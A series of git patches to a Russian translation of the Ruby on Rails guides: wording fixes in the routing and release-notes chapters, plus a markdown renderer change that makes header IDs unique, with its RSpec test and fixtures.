метода HTTP -В основном следует использовать методы `get`, `post`, `put`, `patch` и `delete` для ограничения маршрута определенным методом. Можно использовать метод `match` с опцией `:via` для соответствия нескольким методам за раз: +В основном следует использовать методы `get`, `post`, `put`, `patch` и `delete` для ограничения маршрута определенным методом. Можно использовать метод `match` с опцией `:via` для соответствия нескольким методам сразу: ```ruby match 'photos', to: 'photos#show', via: [:get, :post] @@ -633,7 +633,7 @@ match 'photos', to: 'photos#show', via: :all NOTE: Маршрутизация запросов `GET` и `POST` одновременно в один экшн небезопасна. В основном, следует избегать маршрутизацию всех методов в экшн, если у вас нет веской причины делать так. -NOTE: `GET` в Rails не проверяет токен CSRF. Никогда не пишите в базу данных в `GET` запросах, подробнее о контрмерах CSRF смотрите в [руководстве по безопасности](/ruby-on-rails-security-guide#csrf-countermeasures). +NOTE: `GET` в Rails не проверяет токен CSRF. Никогда не пишите в базу данных из `GET` запросов, подробнее о контрмерах CSRF смотрите в [руководстве по безопасности](/ruby-on-rails-security-guide#csrf-countermeasures). ### Ограничения сегмента @@ -720,7 +720,7 @@ end И метод `matches?`, и лямбда получают объект `request` в качестве аргумента. -### Подстановка маршрутов и динамические сегменты +### Подстановка маршрутов и подстановочные сегменты Подстановка маршрутов - это способ указать, что определенные параметры должны соответствовать остальным частям маршрута. Например: @@ -728,9 +728,9 @@ end get 'photos/*other', to: 'photos#unknown' ``` -Этот маршрут будет соответствовать `photos/12` или `/photos/long/path/to/12`, установив `params[:other]` как `"12"`, или `"long/path/to/12"`. Фрагменты, начинающиеся со звездочки, называются динамические сегменты ("wildcard segments"). +Этот маршрут будет соответствовать `photos/12` или `/photos/long/path/to/12`, установив `params[:other]` как `"12"`, или `"long/path/to/12"`. Фрагменты, начинающиеся со звездочки, называются "подстановочные сегменты" ("wildcard segments"). -Динамические сегменты могут быть где угодно в маршруте. Например: +Подстановочные сегменты могут быть где угодно в маршруте. Например: ```ruby get 'books/*section/:title', to: 'books#show' @@ -795,17 +795,17 @@ get '/stories/:name', to: redirect('/articles/%{name}', status: 302) match '/application.js', to: MyRackApp, via: :all ``` -Пока `MyRackApp` отвечает на `call` и возвращает `[status, headers, body]`, роутер не будет различать приложение Rack и экшн. Здесь подходит использование `via: :all`, если вы хотите позволить своему приложению Rack обрабатывать все методы так, как оно считает нужным. +Пока `MyRackApp` отвечает на `call` и возвращает `[status, headers, body]`, роутер не будет различать приложение Rack и экшн. Здесь подходит использование `via: :all`, если вы хотите позволить своему приложению Rack обрабатывать все методы так, как оно посчитает нужным. NOTE: Для любопытства, `'articles#index'` фактически расширяется до `ArticlesController.action(:index)`, который возвращает валидное приложение Rack. -Если вы указываете rack приложение как конечную точку совпадения, помните что маршрут будет неизменным в принимающем приложении. Со следующим маршрутом ваше rack приложение будет ожидать маршрут '/admin': +Если вы указываете приложение Rack как конечную точку совпадения, помните что маршрут будет неизменным в принимающем приложении. Со следующим маршрутом ваше приложение Rack будет ожидать маршрут `/admin`: ```ruby match '/admin', to: AdminApp, via: :all ``` -Если вы предпочитаете чтобы ваше rack приложение получало запросы на корневой путь, используйте вместо этого `mount`: +Если вы предпочитаете, чтобы ваше приложение Rack получало запросы на корневой путь, используйте вместо этого `mount`: ```ruby mount AdminApp, at: '/admin' @@ -824,7 +824,7 @@ root 'pages#main' # то же самое в краткой форме NOTE: Маршрут `root` связывает с экшном только запросы `GET`. -`root` также можно использовать внутри `namespace` и `scope`. Например: +`root` также можно использовать внутри пространств имен и областей видимости. Например: ```ruby namespace :admin do @@ -836,7 +836,7 @@ root to: "home#index" ### Маршруты с символами Unicode -Маршруты с символами unicode можно определять непосредственно. Например: +Маршруты с символами unicode можно определять явно. Например: ```ruby get 'こんにちは', to: 'welcome#index' @@ -845,7 +845,7 @@ get 'こんにちは', to: 'welcome#index' Настройка ресурсных маршрутов ----------------------------- -Хотя маршруты и хелперы по умолчанию, созданные `resources :articles`, обычно нормально работают, вы, возможно, захотите их настроить некоторым образом. Rails позволяет настроить практически любую часть ресурсных хелперов. +Хотя дефолтные маршруты и хелперы, созданные `resources :articles`, как правило, нормально работают, возможно, может понадобиться некоторым образом их настроить. Rails позволяет настроить практически любую часть ресурсных хелперов. ### Определение используемого контроллера @@ -855,7 +855,7 @@ get 'こんにちは', to: 'welcome#index' resources :photos, controller: 'images' ``` -распознает входящие пути, начинающиеся с `/photo`, но смаршрутизирует к контроллеру `Images`: +распознает входящие пути, начинающиеся с `/photos`, но смаршрутизирует к контроллеру `Images`: | Метод HTTP | Путь | Контроллер#Экшн | Именованный хелпер | | --------- | ---------------- | ----------------- | -------------------- | @@ -866,9 +866,10 @@ resources :photos, controller: 'images' | GET | /photos/:id/edit | images#edit | edit_photo_path(:id) | | PATCH/PUT | /photos/:id | images#update | photo_path(:id) | | DELETE | /photos/:id | images#destroy | photo_path(:id) | + NOTE: Используйте `photos_path`, `new_photo_path` и т.д. для создания путей для этого ресурса. -Для контроллеров в пространстве имен можно использовать обозначение директории. Например: +Для контроллеров в пространстве имен можно использовать нотацию директории. Например: ```ruby resources :user_permissions, controller: 'admin/user_permissions' @@ -876,8 +877,7 @@ resources :user_permissions, controller: 'admin/user_permissions' Это будет смаршрутизировано на контроллер `Admin::UserPermissions`. -NOTE: Поддерживается только обозначение директории. Указание контроллера с помощью обозначения константы ruby (т.е. `controller: 'Admin::UserPermissions'`) -может привести к маршрутным проблемам, и в итоге к ошибке. +NOTE: Поддерживается только нотация директории. Определение контроллера с помощью нотации константы Ruby (т.е. `controller: 'Admin::UserPermissions'`) может привести к маршрутным проблемам, и в итоге к предупреждению. ### Определение ограничений @@ -887,7 +887,7 @@ NOTE: Поддерживается только обозначение дире resources :photos, constraints: { id: /[A-Z][A-Z][0-9]+/ } ``` -Это объявление ограничивает параметр `:id` соответствием предоставленному регулярному выражению. Итак, в этом случае роутер больше не будет сопоставлять `/photos/1` этому маршруту. Вместо этого будет соответствовать `/photos/RR27`. +Это объявление ограничивает параметр `:id` соответствием предоставленному регулярному выражению. Итак, в этом случае роутер больше не будет сопоставлять `/photos/1` этому маршруту. Вместо этого он будет соответствовать `/photos/RR27`. Можно определить одиночное ограничение, применив его к ряду маршрутов, используя блочную форму: @@ -898,9 +898,9 @@ constraints(id: /[A-Z][A-Z][0-9]+/) do end ``` -NOTE: Конечно, можете использовать более продвинутые ограничения, доступные в нересурсных маршрутах, в этом контексте +NOTE: Конечно, можно использовать более продвинутые ограничения, доступные в нересурсных маршрутах, в этом контексте. -TIP: По умолчанию параметр `:id` не принимает точки - так как точка используется как разделитель для формата маршрута. Если необходимо использовать точку в `:id`, добавьте ограничение, которое переопределит это - к примеру `id: /[^\/]+/` позволяет все, кроме слэша. +TIP: По умолчанию параметр `:id` не принимает точки - так как точка используется как разделитель для отформатированного маршрута. Если необходимо использовать точку в `:id`, добавьте ограничение, которое переопределит это - к примеру, `id: /[^\/]+/` позволяет все, кроме слэша. ### Переопределение именованных хелперов @@ -949,7 +949,7 @@ end ### Префикс именованных маршрутных хелперов -Можно использовать опцию `:as` для задания префикса именованных маршрутных хелперов, создаваемых Rails для маршрута. Используйте эту опцию для предотвращения коллизий имен между маршрутами, использующими пространство путей. Например: +Можно использовать опцию `:as` для задания префикса именованных маршрутных хелперов, создаваемых Rails для маршрута. Используйте эту опцию для предотвращения коллизий имен между маршрутами, использующими область видимости пути. Например: ```ruby scope 'admin' do @@ -959,7 +959,7 @@ end resources :photos ``` -Это предоставит маршрутные хелперы такие как `admin_photos_path`, `new_admin_photo_path` и т.д. +Это предоставит маршрутные хелперы, такие как `admin_photos_path`, `new_admin_photo_path` и т.д. Для задания префикса группы маршрутов, используйте `:as` со `scope`: @@ -973,7 +973,7 @@ resources :photos, :accounts Это создаст маршруты такие как `admin_photos_path` и `admin_accounts_path`, ведущие соответственно к `/admin/photos` и `/admin/accounts`. -NOTE: Пространство `namespace` автоматически добавляет `:as`, так же как и префиксы `:module` и `:path`. +NOTE: Область видимости `namespace` автоматически добавляет `:as`, так же как и префиксы `:module` и `:path`. Можно задать префикс маршрута именованным параметром также и так: @@ -987,7 +987,7 @@ end ### (restricting-the-routes-created) Ограничение создаваемых маршрутов -По умолчанию Rails создает маршруты для всех семи экшнов по умолчанию (`index`, `show`, `new`, `create`, `edit`, `update` и `destroy`) для каждого маршрута RESTful вашего приложения. Можно использовать опции `:only` и `:except` для точной настройки этого поведения. Опция `:only` говорит Rails создать только определенные маршруты: +По умолчанию Rails создает маршруты для всех семи дефолтных экшнов (`index`, `show`, `new`, `create`, `edit`, `update` и `destroy`) для каждого маршрута RESTful вашего приложения. Можно использовать опции `:only` и `:except` для точной настройки этого поведения. Опция `:only` говорит Rails создать только определенные маршруты: ```ruby resources :photos, only: [:index, :show] @@ -1047,11 +1047,11 @@ resources :magazines do end ``` -Это создаст маршрутные хелперы такие как `magazine_periodical_ads_url` и `edit_magazine_periodical_ad_path`. +Это создаст маршрутные хелперы, такие как `magazine_periodical_ads_url` и `edit_magazine_periodical_ad_path`. ### Переопределение параметров именованных маршрутов -Опция `:param` переопределяет идентификатор ресурса по умолчанию `:id` (имя [динамического сегмента](#dynamic-segments), используемого для генерации маршрутов). К этому сегменту можно обратиться из контроллера с помощью `params[<:param>]`. +Опция `:param` переопределяет дефолтный идентификатор ресурса `:id` (имя [динамического сегмента](#dynamic-segments), используемого для генерации маршрутов). К этому сегменту можно обратиться из контроллера с помощью `params[<:param>]`. ```ruby resources :videos, param: :identifier @@ -1088,8 +1088,7 @@ Rails предлагает инструменты для осмотра и те ### Список существующих маршрутов -Чтобы получить полный список всех доступных маршрутов вашего приложения, посетите `http://localhost:3000/rails/info/routes` в браузере, в то время как ваш сервер запущен в режиме **development**. -Команда `rails routes`, запущенная в терминале, выдаст тот же результат. +Чтобы получить полный список всех доступных маршрутов вашего приложения, посетите `http://localhost:3000/rails/info/routes` в браузере, в то время как ваш сервер запущен в режиме **development**. Команда `rails routes`, запущенная в терминале, выдаст тот же результат. Оба метода напечатают все ваши маршруты, в том же порядке, что они появляются в `config/routes.rb`. Для каждого маршрута вы увидите: @@ -1136,7 +1135,7 @@ TIP: Результат команды `rails routes` более читаемы #### Оператор контроля `assert_generates` -Используйте `assert_generates` чтобы убедиться в том, что определенный набор опций создает конкретный путь. Можете использовать его с маршрутами по умолчанию или своими маршрутами. Например: +Используйте `assert_generates`, чтобы убедиться в том, что определенный набор опций создает конкретный путь и может использоваться с дефолтными маршрутами или своими маршрутами. Например: ```ruby assert_generates '/photos/1', { controller: 'photos', action: 'show', id: '1' } @@ -1159,7 +1158,7 @@ assert_recognizes({ controller: 'photos', action: 'create' }, { path: 'photos', #### Оператор контроля `assert_routing` -Оператор контроля `assert_routing` проверяет маршрут с двух сторон: он тестирует, что путь генерирует опции, и что опции генерируют путь. Таким образом, он комбинирует функции `assert_generates` и `assert_recognizes`: +Оператор контроля `assert_routing` проверяет маршрут с двух сторон: он тестирует, что путь создает опции, и что опции создают путь. Таким образом, он комбинирует функции `assert_generates` и `assert_recognizes`: ```ruby assert_routing({ path: 'photos', method: :post }, { controller: 'photos', action: 'create' }) From 5e5f4fd6b20cecab43410cbacfb6782bf35f2f44 Mon Sep 17 00:00:00 2001 From: ydakuka Date: Fri, 28 Jul 2017 14:56:54 +0300 Subject: [PATCH 326/932] fixes for routing guide --- source/routing.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/source/routing.md b/source/routing.md index 86b27ea6..be199d52 100644 --- a/source/routing.md +++ b/source/routing.md @@ -14,7 +14,7 @@ Цель роутера Rails ------------------ -Роутер Rails распознает URL и отправляет его в экшн контроллера или в приложение Rack. Он также может создавать пути и URL, избегая необходимость жестко прописывать строки в ваших вьюхах. +Роутер Rails распознает URL и сопоставляет его с экшном контроллера или с приложением Rack. Он также может создавать пути и URL, избегая необходимость жестко прописывать строки в ваших вьюхах. ### Соединение URL с кодом @@ -24,7 +24,7 @@ GET /patients/17 ``` -оно просит роутер сопоставить его с экшном контроллера. Если первый соответствующий маршрут это: +оно опрашивает роутер на предмет соответствия экшну контроллера. Если первый соответствующий маршрут это: ```ruby get '/patients/:id', to: 'patients#show' @@ -258,9 +258,9 @@ end В дополнение к маршрутам для magazines, это объявление также создаст маршруты для ads в `AdsController`. URL с ad требует magazine: -| Метод HTTP | Путь | Контроллер#Экшн | Использование | -| ---------- | ------------------------------------ | --------------- | ------------------------------------------------------------------------------------- | -| GET | /magazines/:magazine_id/ads | ads#index | отображает список всей ads для определенного magazine | +| Метод HTTP | Путь | Контроллер#Экшн | Использование | +| ---------- | ------------------------------------ | --------------- | ----------------------------------------------------------------------------------| +| GET | /magazines/:magazine_id/ads | ads#index | отображает список всех ads для определенного magazine | | GET | /magazines/:magazine_id/ads/new | ads#new | возвращает форму HTML для создания новой ad, принадлежащей определенному magazine | | POST | /magazines/:magazine_id/ads | ads#create | создает новую ad, принадлежащую указанному magazine | | GET | /magazines/:magazine_id/ads/:id | ads#show | отражает определенную ad, принадлежащую определенному magazine | From a2925a350c720192bb247426c0e16fcb198da6b2 Mon Sep 17 00:00:00 2001 From: ydakuka Date: Mon, 3 Jul 2017 18:04:57 +0300 Subject: [PATCH 327/932] fix headers --- lib/renderers/markdown.rb | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/lib/renderers/markdown.rb b/lib/renderers/markdown.rb index c3c56bdc..7fcc640e 100644 --- a/lib/renderers/markdown.rb +++ b/lib/renderers/markdown.rb @@ -22,6 +22,8 @@ def initialize(options = {}) super @numeration = [] @headers = [] + @hid_container = [] + @hid_hash = {} end def block_code(code, language) @@ -44,6 +46,21 @@ def header(text, header_level) text.gsub!(/\A\s*\(([^\)]+)\)/, '') hid = sanitizer.sanitize($1 || text).parameterize + @hid_container << hid + + if @hid_container.include? hid + if @hid_hash[hid].present? + @hid_hash[hid] = @hid_hash[hid] + 1 + else + prev_count_hid_container = @hid_container.count(hid) - 1 + @hid_hash[hid] = prev_count_hid_container if prev_count_hid_container != 0 + end + + hid.concat (@hid_hash[hid].to_i + 1).to_s if @hid_hash[hid].present? + else + @hid_hash[hid] = @hid_container.count(hid) + end + if header_level > 2 @numeration[header_level] ||= 0 @numeration[header_level] += 1 From 2df02ef4388167ea15891904674627eac8f8d2af Mon Sep 17 00:00:00 2001 From: ydakuka Date: Sun, 6 Aug 2017 23:28:47 +0300 Subject: [PATCH 328/932] add tests for markdown render method --- spec/features/markdown_spec.rb | 12 ++++ .../fixtures/input_5_1_release_notes.md | 59 +++++++++++++++++++ .../fixtures/output_5_1_release_notes.html | 16 +++++ 3 files changed, 87 insertions(+) create mode 100644 spec/features/markdown_spec.rb create mode 100644 spec/support/fixtures/input_5_1_release_notes.md create mode 100644 spec/support/fixtures/output_5_1_release_notes.html diff --git a/spec/features/markdown_spec.rb b/spec/features/markdown_spec.rb new file mode 100644 index 00000000..85c15122 --- /dev/null +++ b/spec/features/markdown_spec.rb @@ -0,0 +1,12 @@ +require 'rails_helper' + +describe Rusrails::Markdown do + describe '#render' do + it 'compares input and output for show headers in the active record basics guide' do + body = File.read("#{Rails.root}/spec/support/fixtures/input_5_1_release_notes.md") + output = Rusrails::Markdown.new.render(body) + + expect(output).to eq File.read("#{Rails.root}/spec/support/fixtures/output_5_1_release_notes.html") + end + end +end diff --git a/spec/support/fixtures/input_5_1_release_notes.md b/spec/support/fixtures/input_5_1_release_notes.md new file mode 100644 index 00000000..4bd5ab53 --- /dev/null +++ b/spec/support/fixtures/input_5_1_release_notes.md @@ -0,0 +1,59 @@ +Заметки о релизе Ruby on Rails 5.1 +================================== + +Railties +-------- +### Удалено +* string + +### Значимые изменения +* string + +Action Cable +------------ +### Значимые изменения +* string + +Action Pack +----------- +### Удалено +* string + +### Устарело +* string + +### Значимые изменения +* string + +Action View +----------- +### Удалено +* string + +### Устарело +* string + +### Значимые изменения +* string + +Action Mailer +------------- +### Значимые изменения +* string + +Active Record +------------- +### Удалено +* string + +### Устарело +* string + +### Значимые изменения +* string + +### Удалено +* string + +### Значимые изменения +* string diff --git a/spec/support/fixtures/output_5_1_release_notes.html b/spec/support/fixtures/output_5_1_release_notes.html new file mode 100644 index 00000000..5ff07ec8 --- /dev/null +++ b/spec/support/fixtures/output_5_1_release_notes.html @@ -0,0 +1,16 @@ +

    Заметки о релизе Ruby on Rails 5.1

    1. Railties

    1.1. Удалено

    • string +

    1.2. Значимые изменения

    • string +

    2. Action Cable

    2.1. Значимые изменения

    • string +

    3. Action Pack

    3.1. Удалено

    • string +

    3.2. Устарело

    • string +

    3.3. Значимые изменения

    • string +

    4. Action View

    4.1. Удалено

    • string +

    4.2. Устарело

    • string +

    4.3. Значимые изменения

    • string +

    5. Action Mailer

    5.1. Значимые изменения

    • string +

    6. Active Record

    6.1. Удалено

    • string +

    6.2. Устарело

    • string +

    6.3. Значимые изменения

    • string +

    6.4. Удалено

    • string +

    6.5. Значимые изменения

    • string +
    \ No newline at end of file From 3708cba1b5305dae5d36a904f553a78d4b04866d Mon Sep 17 00:00:00 2001 From: Yauheni Dakuka Date: Fri, 11 Aug 2017 11:56:48 +0300 Subject: [PATCH 329/932] generate-create --- source/3_0_release_notes.md | 10 ++--- source/3_1_release_notes.md | 18 ++++---- source/3_2_release_notes.md | 12 ++--- source/4_0_release_notes.md | 2 +- source/4_1_release_notes.md | 6 +-- source/4_2_release_notes.md | 12 ++--- source/5_0_release_notes.md | 2 +- source/5_1_release_notes.md | 2 +- source/action_controller_overview.md | 14 +++--- source/action_mailer_basics.md | 16 +++---- source/active_record_callbacks.md | 2 +- source/active_record_migrations.md | 22 +++++----- source/active_record_querying.md | 12 ++--- source/active_record_validations.md | 8 ++-- source/active_support_core_extensions.md | 34 +++++++------- source/api_app.md | 2 +- source/asset_pipeline.md | 20 ++++----- source/autoloading_and_reloading_constants.md | 2 +- source/caching_with_rails.md | 8 ++-- source/command_line.md | 12 ++--- source/configuring.md | 18 ++++---- source/contributing_to_ruby_on_rails.md | 2 +- source/debugging_rails_applications.md | 6 +-- source/form_helpers.md | 44 +++++++++---------- source/generators.md | 12 ++--- source/getting_started.md | 14 +++--- source/layouts_and_rendering.md | 10 ++--- source/rails_on_rack.md | 2 +- source/routing.md | 39 ++++++++-------- source/ruby_on_rails_guides_guidelines.md | 4 +- source/security.md | 12 ++--- source/testing.md | 18 ++++---- source/upgrading_ruby_on_rails.md | 2 +- source/working_with_javascript_in_rails.md | 18 ++++---- 34 files changed, 210 insertions(+), 207 deletions(-) diff --git a/source/3_0_release_notes.md b/source/3_0_release_notes.md index 4776a1ab..7c85a32e 100644 --- a/source/3_0_release_notes.md +++ b/source/3_0_release_notes.md @@ -62,7 +62,7 @@ $ rails g scaffold post title:string # вместо script/generate scaffold pos Для помощи в процессе обновления был создан плагин [Rails Upgrade](https://github.com/rails/rails_upgrade), для автоматизации его части. -Просто установите плагин, затем запустите `rake rails:upgrade:check` для проверки, какие части вашего приложения следует обновить (с ссылками на информацию, как это сделать). Он также предлагает задание по созданию `Gemfile`, основанного на текущих вызовах `config.gem`, и задание по созданию нового маршрутного файла из старого. Чтобы получить плагин, просто запустите: +Просто установите плагин, затем запустите `rake rails:upgrade:check` для проверки, какие части вашего приложения следует обновить (с ссылками на информацию, как это сделать). Он также предлагает задание по генерации `Gemfile`, основанного на текущих вызовах `config.gem`, и задание по генерации нового маршрутного файла из старого. Чтобы получить плагин, просто запустите: ```bash $ ruby script/plugin install git://github.com/rails/rails_upgrade.git @@ -97,7 +97,7 @@ $ cd myapp $ rails new myapp --edge ``` -Если у вас есть локальная копия репозитория Rails, и вы хотите создать приложение с ее использованием, передайте флажок `--dev`: +Если имеется локальная копия репозитория Rails, и необходимо сгенерировать приложение используя ее, передайте флажок `--dev`: ```bash $ ruby /path/to/rails/bin/rails new myapp --dev @@ -174,7 +174,7 @@ Railties * Новые генераторы позволяют переопределить шаблоны, поместив копию в `Rails.root/lib/templates`. * Также представлен `Rails::Generators::TestCase`, поэтому вы можете создать собственные генераторы и протестировать их. -Также несколько переделаны вьюхи, создаваемые генераторами Railties: +Также несколько переделаны вьюхи, генерируемые с помощью генераторов Railties: * Сейчас вьюхи используют теги `div` вместо тегов `p`. * Сейчас сгенерированные скаффолды используют партиалы `_form`, вместо повторения кода во вьюхах edit и new. @@ -222,7 +222,7 @@ Action Pack * `cookies.permanent` позволяет устанавливать постоянные значения хэш куки `cookie.permanent[:key] => value`, вызывая исключение на шифрованных значениях, если не проходит верификация. * Теперь можно передать `:notice => 'This is a flash message'` или `:alert => 'Something went wrong'` в вызове `format` внутри блока `respond_to`. Хэш `flash[]` все еще работает по-прежнему. * Теперь в контроллеры добавился метод `respond_with`, упрощающий старые блоки `format`. -* Добавленный `ActionController::Responder` дает гибкость в том, как будут получены созданные вами отклики. +* Добавленный `ActionController::Responder` дает гибкость в том, как будут получены сгенерированные вами отклики. Устарело: @@ -564,7 +564,7 @@ Action Mailer получил новый API в связи с заменой TMai * `:charset`, `:content_type`, `:mime_version`, `:implicit_parts_order` устарели в пользу стиля объявления `ActionMailer.default :key => value`. * Динамические методы рассыльщика `create_method_name` и `deliver_method_name` устарели, просто вызывайте `method_name`, который возвратит объект `Mail::Message`. * `ActionMailer.deliver(message)` устарел, просто вызывайте `message.deliver`. -* `template_root` устарел, передавайте опции в вызов render в proc из метода `format.mime_type` внутри блока создания письма `mail` +* `template_root` устарел, передавайте опции в вызов render в proc из метода `format.mime_type` внутри блока генерации письма `mail` * Метод `body` для определения переменных экземпляра устарел (`body {:ivar => value}`), всего лишь определите переменные экземпляра непосредственно в методе, и они будут доступны во вьюхе. * Нахождение рассыльщиков в `app/models` устарело, вместо этого используйте `app/mailers`. diff --git a/source/3_1_release_notes.md b/source/3_1_release_notes.md index ac9754d5..b69e9bc7 100644 --- a/source/3_1_release_notes.md +++ b/source/3_1_release_notes.md @@ -155,7 +155,7 @@ $ cd myapp $ rails new myapp --edge ``` -Если у вас есть локальная копия репозитория Rails, и вы хотите создать приложение с ее использованием, передайте флажок `--dev`: +Если имеется локальная копия репозитория Rails, и необходимо сгенерировать приложение используя ее, передайте флажок `--dev`: ```bash $ ruby /path/to/rails/railties/bin/rails new myapp --dev @@ -172,7 +172,7 @@ $ ruby /path/to/rails/railties/bin/rails new myapp --dev ### HTTP Streaming -HTTP Streaming это другое новшество в Rails 3.1. Он позволяет браузеру загружать таблицы стилей и файлы JavaScript, пока сервер все еще создает отклик. Это требует Ruby 1.9.2, является опциональным, а также требует настройки веб-сервера, но популярная связка NGINX и Unicorn уже готова предоставлять это преимущество. +HTTP Streaming это другое новшество в Rails 3.1. Он позволяет браузеру загружать таблицы стилей и файлы JavaScript, пока сервер все еще генерирует отклик. Это требует Ruby 1.9.2, является опциональным, а также требует настройки веб-сервера, но популярная связка NGINX и Unicorn уже готова предоставлять это преимущество. ### Библиотека JS по умолчанию теперь jQuery @@ -197,11 +197,11 @@ Railties * Генератор приложения принимает опцию `-j`, которая может быть произвольной строкой. Если передать "foo", в `Gemfile` будет добавлен гем "foo-rails", и манифест JavaScript приложения затребует "foo" и "foo_ujs". В данный момент существуют только "prototype-rails" и "jquery-rails", и эти файлы предоставляются через файлопровод. -* Создание приложение или плагина запускает `bundle install`, если не определено `--skip-gemfile` или `--skip-bundle`. +* Генерация приложение или плагина запускает `bundle install`, если не определено `--skip-gemfile` или `--skip-bundle`. * Генераторы контроллера и ресурса теперь автоматически создадут заглушки для ресурсов (это может быть отключено с помощью `--skip-assets`). Эти заглушки будут использовать CoffeeScript и Sass, если эти библиотеки доступны. -* Генераторы скаффолда и приложения используют стиль хэшей из Ruby 1.9, когда запущены на Ruby 1.9. Чтобы создать старый стиль хэшей, должно быть передано `--old-style-hash`. +* Генераторы скаффолда и приложения используют стиль хэшей из Ruby 1.9, когда запущены на Ruby 1.9. Чтобы генерировать старый стиль хэшей, должно быть передано `--old-style-hash`. * Генератор скаффолда контроллера создает блок формата для JSON вместо XML. @@ -209,7 +209,7 @@ Railties * Добавлена конфигурация `config.force_ssl`, загружающая промежуточную программу `Rack::SSL` и принуждающую все запросы быть под протоколом HTTPS. -* Добавлена команда `rails plugin new`, создающая плагин Rails с gemspec, тестами и пустым приложением для тестирования. +* Добавлена команда `rails plugin new`, генерирующая плагин Rails с gemspec, тестами и пустым приложением для тестирования. * К стеку промежуточных программ по умолчанию добавлены `Rack::Etag` и `Rack::ConditionalGet`. @@ -317,7 +317,7 @@ Action Pack * `file_field` автоматически добавляет `:multipart => true` к нужным формам. -* Добавлена удобная идиома создавать HTML5 атрибуты data-* в хелперах тегов с хэшем опций `:data`: +* Добавлена удобная идиома генерировать HTML5 атрибуты data-* в хелперах тегов с хэшем опций `:data`: ```ruby tag("div", :data => {:name => 'Stephen', :city_state => %w(Chicago IL)}) @@ -334,7 +334,7 @@ Action Pack * Вернули `config.action_view.cache_template_loading`, позволяющий решить, должны ли быть кэшированы шаблоны, или нет. -* Хелпер формы submit более не создает id = "object_name_id". +* Хелпер формы submit больше не генерирует id "object_name_id". * Позволяет `FormHelper#form_for` определить `:method` как опцию первого уровня вместо вкладывания в хэш `:html`. `form_for(==@==post, remote: true, method: :delete)` вместо `form_for(==@==post, remote: true, html: { method: :delete })`. @@ -454,7 +454,7 @@ Active Record end ``` -* Файлы миграции созданные генераторами модели и конструктивной миграции (для примера, add_name_to_users), используют метод обратимой миграции `change` вместо обычных методов `up` и `down`. +* Файлы миграции, сгенерированные с помощью генераторов модели и конструктивной миграции (для примера, add_name_to_users), используют метод обратимой миграции `change` вместо обычных методов `up` и `down`. * Убрана поддержка интерполяции строк с условиями SQL на связях. Вместо этого должен быть использован proc. @@ -482,7 +482,7 @@ Active Record end ``` -* При создании модели по умолчанию добавляется `add_index` для столбцов `belongs_to` или `references`. +* При генерации модели по умолчанию добавляется `add_index` для столбцов `belongs_to` или `references`. * Установление id для объекта в `belongs_to` обновляет связь с объектом. diff --git a/source/3_2_release_notes.md b/source/3_2_release_notes.md index f3490fdf..788f2342 100644 --- a/source/3_2_release_notes.md +++ b/source/3_2_release_notes.md @@ -86,7 +86,7 @@ $ cd myapp $ rails new myapp --edge ``` -Если у вас есть локальная копия репозитория Rails, и вы хотите создать приложение с ее использованием, передайте флажок `--dev`: +Если имеется локальная копия репозитория Rails, и необходимо сгенерировать приложение используя ее, передайте флажок `--dev`: ```bash $ ruby /path/to/rails/railties/bin/rails new myapp --dev @@ -101,7 +101,7 @@ $ ruby /path/to/rails/railties/bin/rails new myapp --dev ### Автоматические Explain запросов -Rails 3.2 поставляется с прекрасной возможностью раскрытия запросов, созданных ARel, определив метод `explain` в `ActiveRecord::Relation`. Для примера, можно запустить что-то наподобие `puts Person.active.limit(5).explain` и результат запроса Arel будет раскрыт. Это позволяет проверку правильности индексирования и дальнейшую оптимизацию. +Rails 3.2 поставляется с прекрасной возможностью раскрытия запросов, сгенерированных Arel, определив метод `explain` в `ActiveRecord::Relation`. Для примера, можно запустить что-то наподобие `puts Person.active.limit(5).explain` и результат запроса Arel будет раскрыт. Это позволяет проверку правильности индексирования и дальнейшую оптимизацию. Запросы, выполняющиеся более чем пол секунды, *автоматически* раскрываются в режиме development. Это поведение, разумеется, может быть изменено. @@ -274,7 +274,7 @@ Action Pack * Хелперы дат принимают новую опцию `:use_two_digit_numbers => true`, отрисовывающую селект-боксы для месяцев и дней с ведущим нулем без изменения соответствующих value. Для примера, это полезно для отображения дат в стиле ISO 8601, таких как '2011-08-01'. -* Для вашей формы можно предоставить пространство имен для обеспечения уникальности атрибута id у элементов формы. В созданном HTML id пространство имен атрибута будет идти впереди с подчеркиванием. +* Для вашей формы можно предоставить пространство имен для обеспечения уникальности атрибута id у элементов формы. В сгенерированном HTML id пространство имен атрибута будет идти впереди с подчеркиванием. ```ruby <%= form_for(@offer, :namespace => 'namespace') do |f| %> @@ -353,9 +353,9 @@ Active Record # SELECT id from clients where active = 1 ``` -* Методы созданных связей создаются в отдельном модуле, чтобы позволить переопределение и компоновку. Для класса с именем MyModel, модель будет называться `MyModel::GeneratedFeatureMethods`. Он включается в класс модели сразу после модуля `generated_attributes_methods`, определенного в Active Model, таким образом, методы связей переопределяют методы атрибутов с таким же именем. +* Методы сгенерированных связей создаются в отдельном модуле, чтобы позволить переопределение и компоновку. Для класса с именем MyModel, модель будет называться `MyModel::GeneratedFeatureMethods`. Он включается в класс модели сразу после модуля `generated_attributes_methods`, определенного в Active Model, таким образом, методы связей переопределяют методы атрибутов с таким же именем. -* Добавлен `ActiveRecord::Relation#uniq` для создания уникальных запросов. +* Добавлен `ActiveRecord::Relation#uniq` для генерации уникальных запросов. ```ruby Client.select('DISTINCT name') @@ -516,7 +516,7 @@ Active Support * Инфлектор понимает акронимы. -* Добавлены `Time#all_day`, `Time#all_week`, `Time#all_quarter` и `Time#all_year` как способ создание интервалов. +* Добавлены `Time#all_day`, `Time#all_week`, `Time#all_quarter` и `Time#all_year` как способ генерации интервалов. ```ruby Event.where(:created_at => Time.now.all_week) diff --git a/source/4_0_release_notes.md b/source/4_0_release_notes.md index 797b122a..c8d1d44b 100644 --- a/source/4_0_release_notes.md +++ b/source/4_0_release_notes.md @@ -40,7 +40,7 @@ $ cd myapp $ rails new myapp --edge ``` -Если у вас есть локальная копия репозитория Rails, и вы хотите создать приложение с ее использованием, передайте флажок `--dev`: +Если имеется локальная копия репозитория Rails, и необходимо сгенерировать приложение используя ее, передайте флажок `--dev`: ``` $ ruby /path/to/rails/railties/bin/rails new myapp --dev diff --git a/source/4_1_release_notes.md b/source/4_1_release_notes.md index 9343a9de..10963323 100644 --- a/source/4_1_release_notes.md +++ b/source/4_1_release_notes.md @@ -260,7 +260,7 @@ Railties * Добавлен метод `Application#message_verifier` которы возвращает верификационное сообщение. ([Pull Request](https://github.com/rails/rails/pull/12995)) 